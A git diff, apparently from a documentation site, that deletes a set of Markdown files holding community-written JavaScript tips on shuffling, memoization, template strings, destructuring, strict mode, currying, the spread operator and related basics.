-The logical OR could also be used to set a default value for function argument.
-
----
-
-```js
-function theSameOldFoo(name) {
-    name = name || 'Bar';
-    console.log("My best friend's name is " + name);
-}
-theSameOldFoo(); // My best friend's name is Bar
-theSameOldFoo('Bhaskar'); // My best friend's name is Bhaskar
-```
-
-The logical AND could be used to avoid exceptions when using properties of undefined.
-Example:
-
-```js
-var dog = {
-    bark: function () {
-        console.log('Woof Woof');
-    }
-};
-
-// Calling dog.bark();
-dog.bark(); // Woof Woof.
-
-// But if dog is not defined, dog.bark() will raise an error "Cannot read property 'bark' of undefined."
-// To prevent this, we can use &&.
-
-dog && dog.bark(); // This will only call dog.bark(), if dog is defined.
-```
diff --git a/docs/content/js-topics/shuffleanarray.md b/docs/content/js-topics/shuffleanarray.md
deleted file mode 100644
index 0e721adaa3..0000000000
--- a/docs/content/js-topics/shuffleanarray.md
+++ /dev/null
@@ -1,33 +0,0 @@
-title: Shuffle an Array
-tip-number: 21
-tip-username: 0xmtn
-tip-username-profile: https://github.com/0xmtn/
-tip-tldr: Fisher-Yates Shuffling it's an algorithm to shuffle an array.
-
--   /en/shuffle-an-array/
-
-This snippet here uses [Fisher-Yates Shuffling](https://www.wikiwand.com/en/Fisher%E2%80%93Yates_shuffle) Algorithm to shuffle a given array.
-
----
-
-```js
-function shuffle(arr) {
-    var i, j, temp;
-    for (i = arr.length - 1; i > 0; i--) {
-        j = Math.floor(Math.random() * (i + 1));
-        temp = arr[i];
-        arr[i] = arr[j];
-        arr[j] = temp;
-    }
-    return arr;
-}
-```
-
-An example:
-
-```js
-var a = [1, 2, 3, 4, 5, 6, 7, 8];
-var b = shuffle(a);
-console.log(b);
-// [2, 7, 8, 6, 5, 3, 1, 4]
-```
diff --git a/docs/content/js-topics/sortingstringswithaccentedcharacters.md b/docs/content/js-topics/sortingstringswithaccentedcharacters.md
deleted file mode 100644
index 082b86d932..0000000000
--- a/docs/content/js-topics/sortingstringswithaccentedcharacters.md
+++ /dev/null
@@ -1,62 +0,0 @@
-title: Sorting strings with accented characters
-tip-number: 04
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: Javascript has a native method **sort** that allows sorting arrays. Doing a simple `array.sort()` will treat each array entry as a string and sort it alphabetically. But when you try order an array of non ASCII characters you will obtain a strange result.
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/sorting-strings-with-accented-characters/
-
-Javascript has a native method **[sort](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)** that allows sorting arrays. Doing a simple `array.sort()` will treat each array entry as a string and sort it alphabetically. Also you can provide your [own custom sorting](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#Parameters) function.
-
-```js
-['Shanghai', 'New York', 'Mumbai', 'Buenos Aires'].sort();
-// ["Buenos Aires", "Mumbai", "New York", "Shanghai"]
-```
-
-But when you try order an array of non ASCII characters like this `['é', 'a', 'ú', 'c']`, you will obtain a strange result `['c', 'e', 'á', 'ú']`. That happens because sort works only with the English language.
-
-See the next example:
-
-```js
-// Spanish
-['único', 'árbol', 'cosas', 'fútbol'].sort();
-// ["cosas", "fútbol", "árbol", "único"] // bad order
-
-// German
-['Woche', 'wöchentlich', 'wäre', 'Wann'].sort();
-// ["Wann", "Woche", "wäre", "wöchentlich"] // bad order
-```
-
-Fortunately, there are two ways to overcome this behavior [localeCompare](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare) and [Intl.Collator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Collator) provided by ECMAScript Internationalization API.
-
-> Both methods have their own custom parameters in order to configure it to work adequately.
-
-### Using `localeCompare()`
-
-```js
-['único', 'árbol', 'cosas', 'fútbol'].sort(function (a, b) {
-    return a.localeCompare(b);
-});
-// ["árbol", "cosas", "fútbol", "único"]
-
-['Woche', 'wöchentlich', 'wäre', 'Wann'].sort(function (a, b) {
-    return a.localeCompare(b);
-});
-// ["Wann", "wäre", "Woche", "wöchentlich"]
-```
-
-### Using `Intl.Collator()`
-
-```js
-['único', 'árbol', 'cosas', 'fútbol'].sort(Intl.Collator().compare);
-// ["árbol", "cosas", "fútbol", "único"]
-
-['Woche', 'wöchentlich', 'wäre', 'Wann'].sort(Intl.Collator().compare);
-// ["Wann", "wäre", "Woche", "wöchentlich"]
-```
-
--   For each method you can customize the location.
--   According to [Firefox](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare#Performance) Intl.Collator is faster when comparing large numbers of strings.
-
-So when you are working with arrays of strings in a language other than English, remember to use this method to avoid unexpected sorting.
diff --git a/docs/content/js-topics/speeduprecursivefunctionswith.md b/docs/content/js-topics/speeduprecursivefunctionswith.md
deleted file mode 100644
index 1b14211d56..0000000000
--- a/docs/content/js-topics/speeduprecursivefunctionswith.md
+++ /dev/null
@@ -1,85 +0,0 @@
-title: Speed up recursive functions with memoization
-tip-number: 29
-tip-username: hingsir
-tip-username-profile: https://github.com/hingsir
-tip-tldr: Fibonacci sequence is very familiar to everybody. we can write the following function in 20 seconds.it works, but not efficient. it did lots of duplicate computing works, we can cache its previously computed results to speed it up.
-
--   /en/speed-up-recursive-functions-with-memoization/
-
-Fibonacci sequence is very familiar to everybody. We can write the following function in 20 seconds.
-
-```js
-var fibonacci = function (n) {
-    return n < 2 ? n : fibonacci(n - 1) + fibonacci(n - 2);
-};
-```
-
-It works, but is not efficient. It did lots of duplicate computing works, we can cache its previously computed results to speed it up.
-
-```js
-var fibonacci = (function () {
-    var cache = [0, 1]; // cache the value at the n index
-    return function (n) {
-        if (cache[n] === undefined) {
-            for (var i = cache.length; i <= n; ++i) {
-                cache[i] = cache[i - 1] + cache[i - 2];
-            }
-        }
-        return cache[n];
-    };
-})();
-```
-
-Also, we can define a higher-order function that accepts a function as its argument and returns a memoized version of the function.
-
-```js
-var memoize = function (func) {
-    var cache = {};
-    return function () {
-        var key = JSON.stringify(Array.prototype.slice.call(arguments));
-        return key in cache ? cache[key] : (cache[key] = func.apply(this, arguments));
-    };
-};
-fibonacci = memoize(fibonacci);
-```
-
-And this is an ES6 version of the memoize function.
-
-```js
-var memoize = function (func) {
-    const cache = {};
-    return (...args) => {
-        const key = JSON.stringify(args);
-        return key in cache ? cache[key] : (cache[key] = func(...args));
-    };
-};
-fibonacci = memoize(fibonacci);
-```
-
-we can use `memoize()` in many other situations
-
--   GCD(Greatest Common Divisor)
-
-```js
-var gcd = memoize(function (a, b) {
-    var t;
-    if (a < b) (t = b), (b = a), (a = t);
-    while (b != 0) (t = b), (b = a % b), (a = t);
-    return a;
-});
-gcd(27, 183); //=> 3
-```
-
--   Factorial calculation
-
-```js
-var factorial = memoize(function (n) {
-    return n <= 1 ? 1 : n * factorial(n - 1);
-});
-factorial(5); //=> 120
-```
-
-Learn more about memoization:
-
--   [Memoization - Wikipedia](https://en.wikipedia.org/wiki/Memoization)
--   [Implementing Memoization in JavaScript](https://www.sitepoint.com/implementing-memoization-in-javascript/)
diff --git a/docs/content/js-topics/tappingforquick.md b/docs/content/js-topics/tappingforquick.md
deleted file mode 100644
index c916b3a72f..0000000000
--- a/docs/content/js-topics/tappingforquick.md
+++ /dev/null
@@ -1,80 +0,0 @@
-title: Tapping for quick debugging
-tip-number: 65
-tip-username: loverajoel
-tip-username-profile: https://twitter.com/loverajoel
-tip-tldr: This little beastie here is tap. A really useful function for quick-debugging chains of function calls, anonymous functions and, actually, whatever you just want to print.
-tip-md-link: https://github.com/loverajoel/jstips/blob/master/_posts/en/javascript/2017-03-16-tapping-for-quick-debugging.md
-
-categories: - en - javascript
-
----
-
-This little beastie here is tap. A really useful function for quick-debugging
-chains of function calls, anonymous functions and, actually, whatever you just
-want to print.
-
----
-
-```js
-function tap(x) {
-    console.log(x);
-    return x;
-}
-```
-
-Why would you use instead of good old `console.log`? Let me show you an example:
-
-```js
-bank_totals_by_client(bank_info(1, banks), table)
-    .filter((c) => c.balance > 25000)
-    .sort((c1, c2) => (c1.balance <= c2.balance ? 1 : -1))
-    .map((c) => console.log(`${c.id} | ${c.tax_number} (${c.name}) => ${c.balance}`));
-```
-
-Now, suppose you're getting nothing from this chain (possibly an error).
-Where is it failing? Maybe `bank_info` isn't returning anything, so we'll tap it:
-
-```js
-bank_totals_by_client(tap(bank_info(1, banks)), table);
-```
-
-Depending on our particular implementation, it might print something or not.
-I'll assume the information that we got from our tapping was correct and
-therefore, bank_info isn't causing anything.
-
-We must then move on to the next chain, filter.
-
-```js
-            .filter(c => tap(c).balance > 25000)
-```
-
-Are we receiving any c's (clients actually)? If so, then bank_totals_by_client
-works alright. Maybe it's the condition within the filter?
-
-```js
-            .filter(c => tap(c.balance > 25000))
-```
-
-Ah! Sweet, we see nothing but `false` printed, so there's no client with >25000,
-that's why the function was returning nothing.
-
-## (Bonus) A more advanced tap.
-
----
-
-```js
-function tap(x, fn = (x) => x) {
-    console.log(fn(x));
-    return x;
-}
-```
-
-Now we're talking about a more advanced beast, what if we wanted to perform a
-certain operation _prior_ to tapping? i.e, we want to access a certain object
-property, perform a logical operation, etc. with our tapped object? Then we
-call old good tap with an extra argument, a function to be applied at the moment
-of tapping.
-
-```js
-tap(3, (x) => x + 2) === 3; // prints 5, but expression evaluates to true, why :-)?
-```
diff --git a/docs/content/js-topics/template.md b/docs/content/js-topics/template.md
deleted file mode 100644
index a9d898a4e7..0000000000
--- a/docs/content/js-topics/template.md
+++ /dev/null
@@ -1,41 +0,0 @@
-title: Template Strings
-tip-number: 09
-tip-username: JakeRawr
-tip-username-profile: https://github.com/JakeRawr
-tip-tldr: As of ES6, JS now has template strings as an alternative to the classic end quotes strings.
-
--   /en/template-strings/
-
-As of ES6, JS now has template strings as an alternative to the classic end quotes strings.
-
-Ex:
-Normal string
-
-```js
-var firstName = 'Jake';
-var lastName = 'Rawr';
-console.log('My name is ' + firstName + ' ' + lastName);
-// My name is Jake Rawr
-```
-
-Template String
-
-```js
-var firstName = 'Jake';
-var lastName = 'Rawr';
-console.log(`My name is ${firstName} ${lastName}`);
-// My name is Jake Rawr
-```
-
-You can do multi-line strings without `\n`, perform simple logic (ie 2+3) or even use the [ternary operator](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) inside `${}` in template strings.
-
-```js
-var val1 = 1,
-    val2 = 2;
-console.log(`${val1} is ${val1 < val2 ? 'less than' : 'greater than'} ${val2}`);
-// 1 is less than 2
-```
-
-You are also able to modify the output of template strings using a function; they are called [tagged template strings](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/template_strings#Tagged_template_strings) for example usages of tagged template strings.
-
-You may also want to [read](https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2) to understand template strings more.
diff --git a/docs/content/js-topics/threeuseful.md b/docs/content/js-topics/threeuseful.md
deleted file mode 100644
index 113df7b6ab..0000000000
--- a/docs/content/js-topics/threeuseful.md
+++ /dev/null
@@ -1,58 +0,0 @@
-title: Three useful hacks
-tip-number: 60
-tip-username: leandrosimoes
-tip-username-profile: https://github.com/leandrosimoes
-tip-tldr: Three very useful and syntax sugar hacks to speed up your development.
-
--   /en/three-useful-hacks/
-
-categories: - en - javascript
-
----
-
-#### Getting array items from behind to front
-
-If you want to get the array items from behind to front, just do this:
-
-```js
-var newArray = [1, 2, 3, 4];
-
-console.log(newArray.slice(-1)); // [4]
-console.log(newArray.slice(-2)); // [3, 4]
-console.log(newArray.slice(-3)); // [2, 3, 4]
-console.log(newArray.slice(-4)); // [1, 2, 3, 4]
-```
-
-#### Short-circuits conditionals
-
-If you have to execute a function just if a condition is `true`, like this:
-
-```js
-if (condition) {
-    dosomething();
-}
-```
-
-You can use a short-circuit just like this:
-
-```js
-condition && dosomething();
-```
-
-#### Set variable default values using "||"
-
-If you have to set a default value to variables, you can simple do this:
-
-```js
-var a;
-
-console.log(a); //undefined
-
-a = a || 'default value';
-
-console.log(a); //default value
-
-a = a || 'new value';
-
-console.log(a); //default value
-```
diff --git a/docs/content/js-topics/tiptomeasureperformanceofajavascript.md b/docs/content/js-topics/tiptomeasureperformanceofajavascript.md
deleted file mode 100644
index 4d7d6b0f72..0000000000
--- a/docs/content/js-topics/tiptomeasureperformanceofajavascript.md
+++ /dev/null
@@ -1,30 +0,0 @@
-title: Tip to measure performance of a javascript block
-tip-number: 13
-tip-username: manmadareddy
-tip-username-profile: https://twitter.com/manmadareddy
-tip-tldr: For quickly measuring performance of a javascript block, we can use the console functions like `console.time(label)` and `console.timeEnd(label)`
-
--   /en/tip-to-measure-performance-of-a-javascript-block/
-
-For quickly measuring performance of a javascript block, we can use the console functions like
-[`console.time(label)`](https://developer.chrome.com/devtools/docs/console-api#consoletimelabel) and [`console.timeEnd(label)`](https://developer.chrome.com/devtools/docs/console-api#consoletimeendlabel)
-
-```js
-console.time('Array initialize');
-var arr = new Array(100),
-    len = arr.length,
-    i;
-
-for (i = 0; i < len; i++) {
-    arr[i] = new Object();
-}
-console.timeEnd('Array initialize'); // Outputs: Array initialize: 0.711ms
-```
-
-More info:
-[Console object](https://github.com/DeveloperToolsWG/console-object),
-[Javascript benchmarking](https://mathiasbynens.be/notes/javascript-benchmarking)
-
-Demo: [jsfiddle](https://jsfiddle.net/meottb62/) - [codepen](http://codepen.io/anon/pen/JGJPoa) (outputs in browser console)
-
-> Note: As [Mozilla](https://developer.mozilla.org/en-US/docs/Web/API/Console/time) suggested don't use this for production sites, use it for development purposes only.
diff --git a/docs/content/js-topics/twowaystoemptyanarray.md b/docs/content/js-topics/twowaystoemptyanarray.md
deleted file mode 100644
index c29327b3ab..0000000000
--- a/docs/content/js-topics/twowaystoemptyanarray.md
+++ /dev/null
@@ -1,57 +0,0 @@
-title: Two ways to empty an array
-tip-number: 22
-tip-username: microlv
-tip-username-profile: https://github.com/microlv
-tip-tldr: In JavaScript when you want to empty an array, there are a lot ways, but this is the most performant.
-
--   /en/two-ways-to-empty-an-array/
-
-You define an array and want to empty its contents.
-Usually, you would do it like this:
-
-```js
-// define Array
-var list = [1, 2, 3, 4];
-function empty() {
-    //empty your array
-    list = [];
-}
-empty();
-```
-
-But there is another way to empty an array that is more performant.
-
-You should use code like this:
-
-```js
-var list = [1, 2, 3, 4];
-function empty() {
-    //empty your array
-    list.length = 0;
-}
-empty();
-```
-
--   `list = []` assigns a reference to a new array to a variable, while any other references are unaffected.
-    which means that references to the contents of the previous array are still kept in memory, leading to memory leaks.
-
--   `list.length = 0` deletes everything in the array, which does hit other references.
-
-In other words, if you have two references to the same array (`a = [1,2,3]; a2 = a;`), and you delete the array's contents using `list.length = 0`, both references (a and a2) will now point to the same empty array. (So don't use this technique if you don't want a2 to hold an empty array!)
-
-Think about what this will output:
-
-```js
-var foo = [1, 2, 3];
-var bar = [1, 2, 3];
-var foo2 = foo;
-var bar2 = bar;
-foo = [];
-bar.length = 0;
-console.log(foo, bar, foo2, bar2);
-
-// [] [] [1, 2, 3] []
-```
-
-Stackoverflow more detail:
-[difference-between-array-length-0-and-array](http://stackoverflow.com/questions/4804235/difference-between-array-length-0-and-array)
diff --git a/docs/content/js-topics/use_===_instead_of_==.md b/docs/content/js-topics/use_===_instead_of_==.md
deleted file mode 100644
index 92b00d16d1..0000000000
--- a/docs/content/js-topics/use_===_instead_of_==.md
+++ /dev/null
@@ -1,24 +0,0 @@
-title: Use === instead of ==
-tip-number: 24
-tip-username: bhaskarmelkani
-tip-username-profile: https://www.twitter.com/bhaskarmelkani
-tip-tldr: The `==` (or `!=`) operator performs an automatic type conversion if needed. The `===` (or `!==`) operator will not perform any conversion. It compares the value and the type, which could be considered faster ([jsPref](http://jsperf.com/strictcompare)) than `==`.
-
--   /en/use*===\_instead_of*==/
-
-The `==` (or `!=`) operator performs an automatic type conversion if needed. The `===` (or `!==`) operator will not perform any conversion. It compares the value and the type, which could be considered faster ([jsPref](http://jsperf.com/strictcompare)) than `==`.
-
-```js
-[10] ==  10      // is true
-[10] === 10      // is false
-
-'10' ==  10      // is true
-'10' === 10      // is false
-
- []  ==  0       // is true
- []  === 0       // is false
-
- ''  ==  false   // is true but true == "a" is false
- ''  === false   // is false
-
-```
diff --git a/docs/content/js-topics/usedestructuringinfunctionparameters.md b/docs/content/js-topics/usedestructuringinfunctionparameters.md
deleted file mode 100644
index 397cd9bcb5..0000000000
--- a/docs/content/js-topics/usedestructuringinfunctionparameters.md
+++ /dev/null
@@ -1,93 +0,0 @@
-title: Use destructuring in function parameters
-tip-number: 43
-tip-username: dislick
-tip-username-profile: https://github.com/dislick
-tip-tldr: Did you know that you can use destructuring in function parameters?
-
--   /en/use-destructuring-in-function-parameters/
-
-I am sure many of you are already familiar with the [ES6 Destructuring Assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment). Did you know that you can also use it in function parameters?
-
-```js
-var sayHello = function ({ name, surname }) {
-    console.log(`Hello ${name} ${surname}! How are you?`);
-};
-
-sayHello({ name: 'John', surname: 'Smith' });
-// -> Hello John Smith! How are you?
-```
-
-This is great for functions which accept an options object. For this use case, you can also add [default parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters) to fill in whatever values the caller leaves out, or if the caller forgets to pass one at all:
-
-```js
-var sayHello2 = function ({ name = 'Anony', surname = 'Moose' } = {}) {
-    console.log(`Hello ${name} ${surname}! How are you?`);
-};
-```
-
-The `= {}` says that the default object to be destructured for this parameter is `{}`, in case the caller forgets to pass the parameter, or passes one of the wrong type (more on this below).
-
-```js
-sayHello2();
-// -> Hello Anony Moose! How are you?
-sayHello2({ name: 'Bull' });
-// -> Hello Bull Moose! How are you?
-```
-
-##### Argument Handling
-
-With plain destructuring assignment, if the the input parameter can't be matched with the function's specified object arguments, all the unmatched arguments are `undefined`, so you need to add code that handles this properly:
-
-```js
-var sayHelloTimes = function ({ name, surname }, times) {
-    console.log(`Hello ${name} ${surname}! I've seen you ${times} times before.`);
-};
-
-sayHelloTimes({ name: 'Pam' }, 5678);
-// -> Hello Pam undefined! I've seen you 5678 times before.
-sayHelloTimes(5678);
-// -> Hello undefined undefined! I've seen you undefined times before.
-```
-
-Worse, if the parameter to be destructured is missing, an exception is thrown, probably bringing your app to a screeching halt:
-
-```js
-sayHelloTimes();
-// -> Uncaught TypeError: Cannot match against 'undefined' or 'null'...
-```
-
-It's conceptually similar to accessing a property of an undefined object, just with a different exception type.
-
-Destructuring assignment with default parameters hides all the above to a certain extent:
-
-```js
-var sayHelloTimes2 = function ({ name = 'Anony', surname = 'Moose' } = {}, times) {
-    console.log(`Hello ${name} ${surname}! I've seen you ${times} times before.`);
-};
-
-sayHelloTimes2({ name: 'Pam' }, 5678);
-// -> Hello Pam Moose! I've seen you 5678 times before.
-sayHelloTimes2(5678);
-// -> Hello Anony Moose! I've seen you undefined times before.
-sayHelloTimes2();
-// -> Hello Anony Moose! I've seen you undefined times before.
-```
-
-As for `= {}`, it covers the case of a missing _object_, for which individual property defaults won't help at all:
-
-```js
-var sayHelloTimes2a = function ({ name = 'Anony', surname = 'Moose' }, times) {
-    console.log(`Hello ${name} ${surname}! I've seen you ${times} times before.`);
-};
-
-sayHelloTimes2a({ name: 'Pam' }, 5678);
-// -> Hello Pam Moose! I've seen you 5678 times before.
-sayHelloTimes2a(5678);
-// -> Hello Anony Moose! I've seen you undefined times before.
-sayHelloTimes2a();
-// -> Uncaught TypeError: Cannot match against 'undefined' or 'null'.
-```
-
-##### Availability
-
-Note that destructuring assignment may not yet be available by default, in the version of Node.js or browser that you're using. For Node.js, you can try using the `--harmony-destructuring` flag on startup to activate this feature.
diff --git a/docs/content/js-topics/useoptional.md b/docs/content/js-topics/useoptional.md
deleted file mode 100644
index 0cf9f7c024..0000000000
--- a/docs/content/js-topics/useoptional.md
+++ /dev/null
@@ -1,90 +0,0 @@
-title: How to use optional arguments in functions (with optional callback)
-tip-number: 54
-tip-username: alphashuro
-tip-username-profile: https://github.com/alphashuro
-tip-tldr: You can make function arguments and callback optional
-
--   /en/use-optional-arguments/
-
-categories: - en - javascript
-
----
-
-Example function where arguments 2 and 3 are optional
-
----
-
-```js
-function example(err, optionalA, optionalB, callback) {
-    // retrieve arguments as array
-    var args = new Array(arguments.length);
-    for (var i = 0; i < args.length; ++i) {
-        args[i] = arguments[i];
-    }
-
-    // first argument is the error object
-    // shift() removes the first item from the
-    // array and returns it
-    err = args.shift();
-
-    // if last argument is a function then its the callback function.
-    // pop() removes the last item in the array
-    // and returns it
-    if (typeof args[args.length - 1] === 'function') {
-        callback = args.pop();
-    }
-
-    // if args still holds items, these are
-    // your optional items which you could
-    // retrieve one by one like this:
-    if (args.length > 0) optionalA = args.shift();
-    else optionalA = null;
-    if (args.length > 0) optionalB = args.shift();
-    else optionalB = null;
-
-    // continue as usual: check for errors
-    if (err) {
-        return callback && callback(err);
-    }
-
-    // for tutorial purposes, log the optional parameters
-    console.log('optionalA:', optionalA);
-    console.log('optionalB:', optionalB);
-    console.log('callback:', callback);
-
-    /* do your thing */
-}
-
-// ES6 with shorter, more terse code
-function example(...args) {
-    // first argument is the error object
-    const err = args.shift();
-    // if last argument is a function then its the callback function
-    const callback = typeof args[args.length - 1] === 'function' ? args.pop() : null;
-
-    // if args still holds items, these are your optional items which you could retrieve one by one like this:
-    const optionalA = args.length > 0 ? args.shift() : null;
-    const optionalB = args.length > 0 ? args.shift() : null;
-    // ... repeat for more items
-
-    if (err && callback) return callback(err);
-
-    /* do your thing */
-}
-
-// invoke example function with and without optional arguments
-
-example(null, 'AA');
-
-example(null, function (err) {
-    /* do something */
-});
-
-example(null, 'AA', function (err) {});
-
-example(null, 'AAAA', 'BBBB', function (err) {});
-```
-
-### How do you determine if optionalA or optionalB is intended?
-
-Design your function to require optionalA in order to accept optionalB
diff --git a/docs/content/js-topics/usestrictandget.md b/docs/content/js-topics/usestrictandget.md
deleted file mode 100644
index 880605c5c1..0000000000
--- a/docs/content/js-topics/usestrictandget.md
+++ /dev/null
@@ -1,61 +0,0 @@
-title: use strict and get lazy
-tip-number: 07
-tip-username: nainslie
-tip-username-profile: https://twitter.com/nat5an
-tip-tldr: Strict-mode JavaScript makes it easier for the developer to write "secure" JavaScript.
-
--   /en/use-strict-and-get-lazy/
-
-Strict-mode JavaScript makes it easier for the developer to write "secure" JavaScript.
-
-By default, JavaScript allows the programmer to be pretty careless, for example, by not requiring us to declare our variables with "var" when we first introduce them. While this may seem like a convenience to the unseasoned developer, it's also the source of many errors when a variable name is misspelled or accidentally referred to out of its scope.
-
-Programmers like to make the computer do the boring stuff for us, and automatically check our work for mistakes. That's what the JavaScript "use strict" directive allows us to do, by turning our mistakes into JavaScript errors.
-
-We add this directive either by adding it at the top of a js file:
-
-```js
-// Whole-script strict mode syntax
-'use strict';
-var v = "Hi!  I'm a strict mode script!";
-```
-
-or inside a function:
-
----
-
-```js
-function f() {
-    // Function-level strict mode syntax
-    'use strict';
-    function nested() {
-        return 'And so am I!';
-    }
-    return "Hi!  I'm a strict mode function!  " + nested();
-}
-function f2() {
-    return "I'm not strict.";
-}
-```
-
-By including this directive in a JavaScript file or function, we will direct the JavaScript engine to execute in strict mode which disables a bunch of behaviors that are usually undesirable in larger JavaScript projects. Among other things, strict mode changes the following behaviors:
-
--   Variables can only be introduced when they are preceded with "var"
--   Attempting to write to read-only properties generates a noisy error
--   You have to call constructors with the "new" keyword
--   "this" is not implicitly bound to the global object
--   Very limited use of eval() allowed
--   Protects you from using reserved words or future reserved words as variable names
-
-Strict mode is great for new projects, but can be challenging to introduce into older projects that don't already use it in most places. It also can be problematic if your build chain concatenates all your js files into one big file, as this may cause all files to execute in strict mode.
-
-It is not a statement, but a literal expression, ignored by earlier versions of JavaScript.
-Strict mode is supported in:
-
--   Internet Explorer from version 10.
--   Firefox from version 4.
--   Chrome from version 13.
--   Safari from version 5.1.
--   Opera from version 12.
-
-[See MDN for a fuller description of strict mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode).
diff --git a/docs/content/js-topics/usingjson.md b/docs/content/js-topics/usingjson.md
deleted file mode 100644
index 52155dad66..0000000000
--- a/docs/content/js-topics/usingjson.md
+++ /dev/null
@@ -1,59 +0,0 @@
-title: Using JSON.Stringify
-tip-number: 40
-tip-username: vamshisuram
-tip-username-profile: https://github.com/vamshisuram
-tip-tldr: Create string from selected properties of JSON object.
-
--   /en/using-json-stringify/
-
-Let's say there is an object with properties "prop1", "prop2", "prop3".
-We can pass **additional params** to **JSON.stringify** to selectively write properties of the object to string like:
-
-```js
-var obj = {
-    prop1: 'value1',
-    prop2: 'value2',
-    prop3: 'value3'
-};
-
-var selectedProperties = ['prop1', 'prop2'];
-
-var str = JSON.stringify(obj, selectedProperties);
-
-// str
-// {"prop1":"value1","prop2":"value2"}
-```
-
-The **"str"** will contain only info on selected properties only.
-
-Instead of array we can pass a function also.
-
----
-
-```js
-function selectedProperties(key, val) {
-    // the first val will be the entire object, key is empty string
-    if (!key) {
-        return val;
-    }
-
-    if (key === 'prop1' || key === 'prop2') {
-        return val;
-    }
-
-    return;
-}
-```
-
-The last optional param it takes is to modify the way it writes the object to string.
-
-```js
-var str = JSON.stringify(obj, selectedProperties, '\t\t');
-
-/* str output with double tabs in every line.
-{
-        "prop1": "value1",
-        "prop2": "value2"
-}
-*/
-```
diff --git a/docs/content/js-topics/whatisacurrying.md b/docs/content/js-topics/whatisacurrying.md
deleted file mode 100644
index db60132f70..0000000000
--- a/docs/content/js-topics/whatisacurrying.md
+++ /dev/null
@@ -1,39 +0,0 @@
-title: What is a currying function?
-tip-number: 75
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: A currying function is a function that takes multiple arguments and turns it into a sequence of functions having only one argument at a time.
-
-categories: - en - javascript
-
----
-
-A currying function is a function that takes multiple arguments and turns it into a sequence of functions having only one argument at a time.
-
-In this way, an n-ary function becomes a unary function, and the last function returns the result of all the arguments together in a function.
-
-```js
-// Normal definition
-function multiply(a, b, c) {
-    return a * b * c;
-}
-console.log(multiply(1, 2, 3));
-// Output: 6
-
-// Simple curry function definition
-function multiply(a) {
-    return (b) => {
-        return (c) => {
-            return a * b * c;
-        };
-    };
-}
-console.log(multiply(1)(2)(3));
-// Output: 6
-```
-
-### Further readings:
-
--   [Currying in JavaScript](https://dev.to/suprabhasupi/currying-in-javascript-1k3l)
--   [Lodash curry](https://lodash.com/docs/#curry)
--   [JavaScript currying](http://zetcode.com/javascript/currying/)
diff --git a/docs/content/js-topics/whatisafunctionalinheritance.md b/docs/content/js-topics/whatisafunctionalinheritance.md
deleted file mode 100644
index 35b999e4f3..0000000000
--- a/docs/content/js-topics/whatisafunctionalinheritance.md
+++ /dev/null
@@ -1,38 +0,0 @@
-title: What is Functional Inheritance?
-tip-number: 75
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: Functional inheritance is the process of inheriting features by applying an augmenting function to an object instance.
-
-categories: - en - javascript
-
----
-
-Functional inheritance is the process of inheriting features by applying an augmenting function to an object instance. The function supplies a closure scope which you can use to keep some data private. The augmenting function uses dynamic object extension to extend the object instance with new properties and methods.
-
-Functional mixins are composable factory functions that add properties and behaviors to objects like stations in an assembly line.
-
-```js
-// Base object constructor function
-function Animal(data) {
-    var that = {}; // Create an empty object
-    that.name = data.name; // Add it a "name" property
-    return that; // Return the object
-}
-
-// Create achild object, inheriting from the base Animal
-function Cat(data) {
-    // Create the Animal object
-    var that = Animal(data);
-    // Extend base object
-    that.sayHello = function () {
-        return "Hello, I'm " + that.name;
-    };
-    return that;
-}
-
-// Usage
-var myCat = Cat({ name: 'Rufi' });
-console.log(myCat.sayHello());
-// Output: "Hello, I'm Rufi"
-```
diff --git a/docs/content/js-topics/whatisaspreadoperator.md b/docs/content/js-topics/whatisaspreadoperator.md
deleted file mode 100644
index 8db1a3e16c..0000000000
--- a/docs/content/js-topics/whatisaspreadoperator.md
+++ /dev/null
@@ -1,44 +0,0 @@
-title: What is a spread operator?
-tip-number: 78
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: The spread operator is a useful syntax for manipulating arrays and objects.
-
-categories: - en - javascript
-
----
-
-The spread operator in JavaScript is a useful syntax for adding elements to an array, combining arrays into one larger one, spreading an array inside the arguments of a function, and more.
-
-```js
-// Concatenating arrays and objects
-let arr1 = [1, 2, 3];
-let arr2 = [4, 5];
-let newArray = [...arr1, ...arr2];
-console.log(newArray);
-// Output: [ 1, 2, 3, 4, 5 ]
-
-// Copying array elements
-let arr = ['a', 'b', 'c'];
-let newArray = [...arr];
-console.log(newArray);
-// Output: ["a", "b", "c"]
-
-// Expanding arrays
-let arr = ['a', 'b'];
-let newArray = [...arr, 'c', 'd'];
-console.log(newArray);
-// Output: ["a", "b", "c", "d"]
-
-// Merging objects
-const userBasic = {
-    name: 'Jen',
-    age: 22
-};
-const userMoreInfo = {
-    country: 'Argentina',
-    city: 'Córdoba'
-};
-const user = { ...userBasic, ...userMoreInfo };
-// Output: {  name: "Jen",  age: 22, country: "Argentina", city: "Córdoba" }
-```
diff --git a/docs/content/js-topics/whatisavoid.md b/docs/content/js-topics/whatisavoid.md
deleted file mode 100644
index 257d5aa969..0000000000
--- a/docs/content/js-topics/whatisavoid.md
+++ /dev/null
@@ -1,28 +0,0 @@
-title: What is a void operator?
-tip-number: 79
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: The void operator returns an undefined value from an evaluated expression
-
-categories: - en - javascript
-
----
-
